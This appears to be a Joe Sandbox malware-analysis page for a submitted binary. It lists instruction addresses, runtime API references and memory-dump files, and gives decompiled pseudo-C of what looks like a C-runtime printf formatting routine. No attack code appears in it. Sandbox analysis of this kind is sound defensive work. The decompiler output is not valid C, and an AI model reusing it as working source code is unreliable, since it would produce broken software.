0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434887
0x00434887
0x0043488e
0x00434891
0x004348bb
0x004348be
0x004348be
0x004348c1
0x004348c8
0x004348c8
0x004348cc
0x00434893
0x00434893
0x0043489f
0x004348a2
0x004348a6
0x004348a8
0x004348ab
0x004348ab
0x004348ae
0x004348b4
0x004348b6
0x004348b6
0x004348b9
0x00000000
0x00000000
0x004348d4
0x004348d4
0x00000000
0x00000000
0x004348e0
0x004348e0
0x004348e7
0x004348ea
0x0043490a
0x0043490d
0x0043490d
0x00434917
0x00434917
0x0043491b
0x004348ec
0x004348ec
0x004348f8
0x004348fb
0x004348ff
0x00434901
0x00434901
0x00434908
0x00000000
0x00000000
0x00434923
0x00434923
0x0043492a
0x00434936
0x00434939
0x0043493f
0x00434946
0x00434a59
0x00000000
0x00434a59
0x0043494c
0x0043494c
0x00434952
0x00434952
0x00434959
0x00000000
0x0043498f
0x0043498f
0x00434992
0x00434995
0x00434998
0x004349c0
0x004349c0
0x004349c3
0x004349c6
0x004349c9
0x004349ee
0x004349ee
0x004349f1
0x004349f4
0x004349f7
0x00434a30
0x00434a41
0x00000000
0x00434a41
0x004349f9
0x004349f9
0x004349fc
0x004349ff
0x00434a02
0x00000000
0x00000000
0x00434a04
0x00434a04
0x00434a07
0x00434a0a
0x00434a0d
0x00000000
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a15
0x00434a18
0x00000000
0x00000000
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a20
0x00434a23
0x00000000
0x00000000
0x00434a25
0x00434a25
0x00434a28
0x00434a2b
0x00434a2e
0x00434a32
0x00000000
0x00434a32
0x00000000
0x00434a2e
0x004349cb
0x004349cb
0x004349ce
0x004349d2
0x004349d5
0x00000000
0x004349d7
0x004349da
0x004349dd
0x004349e0
0x004349e3
0x004349e9
0x00000000
0x004349e9
0x004349d5
0x0043499a
0x0043499a
0x0043499d
0x004349a1
0x004349a4
0x00000000
0x004349a6
0x004349a9
0x004349ac
0x004349af
0x004349b2
0x004349b8
0x00000000
0x004349b8
0x00000000
0x00434a43
0x00434a46
0x00434a49
0x00000000
0x00000000
0x00434960
0x00434960
0x00434963
0x00434966
0x00434969
0x00434981
0x00434984
0x00434984
0x00434987
0x0043496b
0x0043496e
0x00434971
0x00434977
0x0043497c
0x0043497c
0x00000000
0x00000000
0x00434a4e
0x00434a4e
0x00434a51
0x00434a51
0x00434a56
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a5e
0x00434a5e
0x00434a65
0x00434a71
0x00434a74
0x00434a7a
0x00434a81
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00434a87
0x00434a8d
0x00434a8d
0x00434a94
0x00000000
0x00434dee
0x00434dee
0x00434df5
0x00434dfc
0x00434dfc
0x00434dff
0x00000000
0x00000000
0x00434a9b
0x00434a9e
0x00434a9e
0x00434aa4
0x00434aa6
0x00434aa9
0x00434aa9
0x00434aae
0x00434aae
0x00000000
0x00000000
0x00434bdb
0x00434bde
0x00434bde
0x00434be3
0x00434be5
0x00434be8
0x00434be8
0x00434bee
0x00434bee
0x00000000
0x00000000
0x00434fbb
0x00434fbb
0x00000000
0x00000000
0x00434b45
0x00434b45
0x00434b51
0x00434b57
0x00434b5e
0x00434b6c
0x00434b6c
0x00434b72
0x00434b75
0x00434b81
0x00434bd6
0x00000000
0x00434bd6
0x00434b60
0x00434b60
0x00434b66
0x00434b6a
0x00434b86
0x00434b89
0x00434b89
0x00434b8f
0x00434bb7
0x00434bbe
0x00434bc4
0x00434bc7
0x00434bca
0x00434bd0
0x00434bd3
0x00434b91
0x00434b91
0x00434b97
0x00434b9a
0x00434b9d
0x00434ba3
0x00434ba6
0x00434ba9
0x00434bab
0x00434bae
0x00434bae
0x00000000
0x00434b8f
0x00000000
0x00000000
0x00434e05
0x00434e08
0x00434e0b
0x00434e0e
0x00434e14
0x00434e17
0x00434e1e
0x00434e22
0x00434e2d
0x00434e2d
0x00434e31
0x00434e48
0x00434e48
0x00434e4f
0x00434e51
0x00434e51
0x00434e58
0x00434e58
0x00434e5f
0x00434e70
0x00434e7f
0x00434e82
0x00434e86
0x00434e9c
0x00434e88
0x00434e88
0x00434e8b
0x00434e91
0x00434e97
0x00434e97
0x00434e86
0x00434ea6
0x00434ea9
0x00434eac
0x00434eaf
0x00434eb2
0x00434eb5
0x00434ebb
0x00434ec1
0x00434ec9
0x00434eca
0x00434ecd
0x00434ece
0x00434ed1
0x00434ed2
0x00434ed9
0x00434eda
0x00434edd
0x00434ede
0x00434ee1
0x00434ee2
0x00434ee8
0x00434ee9
0x00434ef7
0x00434ef9
0x00434eff
0x00434eff
0x00434f05
0x00434f07
0x00434f0b
0x00434f0d
0x00434f15
0x00434f16
0x00434f19
0x00434f1a
0x00434f28
0x00434f2a
0x00434f2a
0x00434f0b
0x00434f2d
0x00434f34
0x00434f37
0x00434f3c
0x00434f3c
0x00434f42
0x00434f44
0x00434f4c
0x00434f4d
0x00434f50
0x00434f51
0x00434f60
0x00434f62
0x00434f62
0x00434f42
0x00434f65
0x00434f68
0x00434f6b
0x00434f6e
0x00434f73
0x00434f79
0x00434f7c
0x00434f7f
0x00434f7f
0x00434f82
0x00434f82
0x00434f85
0x00434f91
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x004352a2
0x00434e33
0x00434e33
0x00434e3a
0x00434e3d
0x00000000
0x00000000
0x00434e3f
0x00434e3f
0x00000000
0x00434e3f
0x00434e24
0x00434e24
0x00000000
0x00000000
0x00434ab1
0x00434ab4
0x00434ab4
0x00434aba
0x00434b15
0x00434b1d
0x00434b24
0x00434b2a
0x00434b30
0x00434abc
0x00434abc
0x00434ac6
0x00434aca
0x00434ad2
0x00434ad9
0x00434ae6
0x00434aed
0x00434af9
0x00434aff
0x00434b06
0x00434b08
0x00434b08
0x00434b0f
0x00434b37
0x00434b3d
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa2
0x00000000
0x00000000
0x00434cf7
0x00434cf7
0x00434d03
0x00434d09
0x00434d0e
0x00434d10
0x00434dba
0x00434dbd
0x00434dbd
0x00434dc0
0x00434dd4
0x00434dda
0x00434de0
0x00434dc2
0x00434dc2
0x00434dcf
0x00434dcf
0x00434de2
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00434d16
0x00434d16
0x00434d16
0x00434d18
0x00434d26
0x00434d1a
0x00434d1a
0x00434d1a
0x00434d30
0x00434d36
0x00434d3c
0x00434d43
0x00434d45
0x00434d4a
0x00434d4c
0x00434d51
0x00434d56
0x00434d58
0x00434d5d
0x00434d60
0x00434d63
0x00434d65
0x00434d65
0x00434d63
0x00434d66
0x00434d6d
0x00434db5
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00434d6f
0x00434d6f
0x00434d74
0x00434d90
0x00434d98
0x00434da2
0x00434da5
0x00434daa
0x00000000
0x00434daa
0x00000000
0x00434ffc
0x00434ffc
0x00435006
0x00435006
0x0043500c
0x0043500e
0x00435011
0x00435011
0x00435017
0x00435017
0x0043501a
0x0043501d
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350d6
0x004350da
0x004350e2
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bb
0x004350bf
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435095
0x004350a1
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x00435079
0x0043507d
0x00435085
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x0043504c
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435024
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f3
0x004350f6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434bf1
0x00434bf1
0x00434bf5
0x00434c03
0x00434c06
0x00434bf7
0x00434bf7
0x00434bf7
0x00434c0c
0x00434c12
0x00434c18
0x00434c24
0x00434c2a
0x00434c2a
0x00434c30
0x00434c97
0x00434c97
0x00434c9b
0x00434c9d
0x00434ca3
0x00434ca3
0x00434ca6
0x00434ca9
0x00434caf
0x00434caf
0x00434caf
0x00434cbb
0x00434cbe
0x00434cc4
0x00434cc6
0x00000000
0x00000000
0x00434cc8
0x00434cc8
0x00434cce
0x00434cd1
0x00434cd3
0x00000000
0x00000000
0x00434cd5
0x00434cdb
0x00434cde
0x00434cde
0x00434ce6
0x00434ce6
0x00434cec
0x00434cec
0x00434cef
0x00000000
0x00434c32
0x00434c32
0x00434c32
0x00434c36
0x00434c38
0x00434c3d
0x00434c3d
0x00434c40
0x00434c47
0x00434c4a
0x00434c50
0x00434c50
0x00434c50
0x00434c5c
0x00434c5f
0x00434c65
0x00434c67
0x00000000
0x00000000
0x00434c69
0x00434c69
0x00434c6f
0x00434c72
0x00434c74
0x00000000
0x00000000
0x00434c76
0x00434c7c
0x00434c7f
0x00434c7f
0x00434c87
0x00434c8d
0x00434c90
0x00434c92
0x00434cf2
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00000000
0x00434fab
0x00434fab
0x0043501a
0x0043501a
0x0043501d
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350d6
0x004350da
0x004350e2
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bb
0x004350bf
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435095
0x004350a1
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x00435079
0x0043507d
0x00435085
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x0043504c
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435024
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f3
0x004350f6
0x00000000
0x00000000
0x00000000
0x004350f6
0x00000000
0x00434fc7
0x00434fc7
0x00434fd1
0x00434fd1
0x00434fdb
0x00434fdb
0x00434fe1
0x00434fe3
0x00434fed
0x00434fed
0x00434ff0
0x00434ff3
0x00434ff3
0x0043501a
0x0043501a
0x0043501d
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350d6
0x004350da
0x004350e2
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bb
0x004350bf
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435095
0x004350a1
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x00435079
0x0043507d
0x00435085
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x0043504c
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435024
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f3
0x004350f6
0x00000000
0x00000000
0x00000000
0x004350f6
0x00000000
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x00000000
0x00434861
0x00434864
0x00434867
0x00000000
0x00000000
0x0043486c
0x0043486f
0x00434874
0x00000000
0x00000000
0x00434856
0x00434856
0x00434859
0x0043485c
0x00000000
0x00000000
0x0043484b
0x0043484e
0x00434851
0x00000000
0x00000000
0x00434879
0x00434879
0x0043487c
0x0043487c
0x0043487f
0x00000000
0x00000000
0x00434882
0x00000000
0x00000000
0x0043461e
0x00434620
0x0043462e
0x00434622
0x00434622
0x00434622
0x00434638
0x0043463e
0x0043464b
0x0043464d
0x00434652
0x00434654
0x00434659
0x0043465e
0x00434660
0x00434665
0x0043466b
0x0043466d
0x0043466d
0x0043466b
0x0043466e
0x00434675
0x00000000
0x00434677
0x0043467c
0x00434698
0x004346a0
0x004346ad
0x004346b2
0x00435571
0x0043557e
0x0043557e
0x00434675
0x00434618
0x004354ad
0x004354ad
0x004354b4
0x004354cb
0x004354cb
0x004354d5
0x004354d5
0x004354db
0x004354e1
0x004354e8
0x004354ea
0x004354ef
0x004354f1
0x004354f6
0x004354fb
0x004354fd
0x00435502
0x00435505
0x00435508
0x0043550a
0x0043550a
0x00435508
0x0043550b
0x00435512
0x0043555d
0x00435566
0x0043556b
0x00435514
0x00435519
0x00435535
0x0043553d
0x0043554a
0x0043554f
0x0043554f
0x00000000
0x00435512
0x004354b6
0x004354b6
0x004354bd
0x00000000
0x00000000
0x004354bf
0x004354bf
0x00000000
0x004354bf
0x004352a2
0x00435279
0x00435279
0x0043527d
0x0043528a
0x0043528d
0x00435290
0x00435293
0x00435296
0x00435299
0x0043529c
0x0043529c
0x0043529f
0x00000000
0x0043529f
0x0043527f
0x0043527f
0x00435282
0x00435285
0x00435288
0x00000000
0x00000000
0x00000000
0x00435288
0x004351e1
0x004351e1
0x004351e4
0x004351e7
0x004351ee
0x004351f5
0x004351fd
0x00435203
0x00435206
0x00435209
0x00435210
0x0043521c
0x00435222
0x00435228
0x0043522f
0x00435231
0x00435237
0x00435237
0x0043523d
0x0043523d
0x00435243
0x00435246
0x0043524c
0x00435251
0x00435254
0x004351c3
0x004351c3
0x004351c9
0x004351cc
0x004351cf
0x004351d1
0x00000000
0x00000000
0x00000000
0x004351d1
0x004351c3
0x00435103
0x00435103
0x0043510a
0x00000000
0x00000000
0x00000000
0x00435138
0x00435138
0x0043513e
0x00435144
0x0043514a
0x00000000
0x0043514a
0x0043501a
0x00434fd1
0x00434fbb

APIs

_get_int64_arg.LIBCMTD ref: 00435028
__aullrem.LIBCMT ref: 004351F5
__aulldiv.LIBCMT ref: 00435217

Strings

0, xrefs: 00434FE3
9, xrefs: 00435228

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction ID: 418c977a910f09fe0cd22505014d39f98c22c76c5a8aa62f3d9ba86ad68ca180
Opcode Fuzzy Hash: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction Fuzzy Hash: 9141E3B1D06629DFEF24CF48CC99BAEB7B5BB48304F24919AD449A7240C7385A85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0043C3D9, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C3D9(void* __ebx, void* __edi, void* __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428370(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428370(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428370(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E0043CB00(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0043CB40( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CB00(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0043CB40(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041AE60(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AE60(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0043B5A0(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E0043CAA0( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E0043CB00(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041C550( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C994))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E0043CAA0( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
